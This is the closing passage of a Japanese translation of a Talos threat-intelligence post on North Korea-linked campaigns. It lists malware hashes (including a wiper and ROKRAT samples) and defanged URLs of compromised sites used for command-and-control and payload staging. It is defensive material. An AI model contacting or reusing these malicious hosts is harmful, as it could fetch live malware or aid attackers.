ドロップされたファイル #3:6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
ドロップされたファイル #4:19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
ドロップされたファイル #5:3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
ドロップされたファイル #6:7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8

展開されたファイル #1:7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
展開されたファイル #1: 21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe
展開されたファイル #1: 761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
展開されたファイル #1: 3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8
展開されたファイル #1: 930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
展開されたファイル #1: 4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4
展開されたファイル #1: f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08

ネットワーク:
– www[.]imuz[.]com/admin/data/bbs/review2/board/index.php
– www[.]imuz[.]com/admin/data/bbs/review2/board/123.php
– www[.]imuz[.]com/admin/data/bbs/review2/board/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
– www[.]wildrush[.]co[.]kr/bbs/data/image/work/webproxy.php
– www[.]wildrush[.]co[.]kr/bbs/data/image/work/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
– www[.]belasting-telefoon[.]nl//images/banners/temp/index.php
– www[.]belasting-telefoon[.]nl//images/banners/temp/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)
– www[.]kgls[.]or[.]kr/news2/news_dir/index.php
– www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg (where 02BC6B26 is randomly generated)

「Are You Happy?」キャンペーン:

ワイパー sha256:6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd

「FreeMilk」キャンペーン:

オフィス sha256:f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0
HTA sha256:a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f
JS sha256:1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c
PoohMilk sha256:35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2
Freenki sha256:7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
Freenki 2016:99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5

ネットワーク:
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
– hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg
– hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php

「North Korean Human Rights」キャンペーン:

悪意のあるドキュメント sha256:171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
ドロッパー #1:a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
ドロッパー #2: eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
ドロッパー #3: 9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
ROKRAT:b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e

「Evil New Year 2018」キャンペーン:

悪意のあるドキュメント sha256:f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead
PNG:bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950
ROKRAT:3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1

ネットワーク:
– hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png

参考資料

http://blog.talosintelligence.com/2017/02/korean-maldoc.html

http://blog.talosintelligence.com/2017/04/introducing-rokrat.html

http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

 

本稿は 2018年1月16日に Talos Grouppopup_icon のブログに投稿された「Korea In The Crosshairspopup_icon」の抄訳です。

 

コメントを書く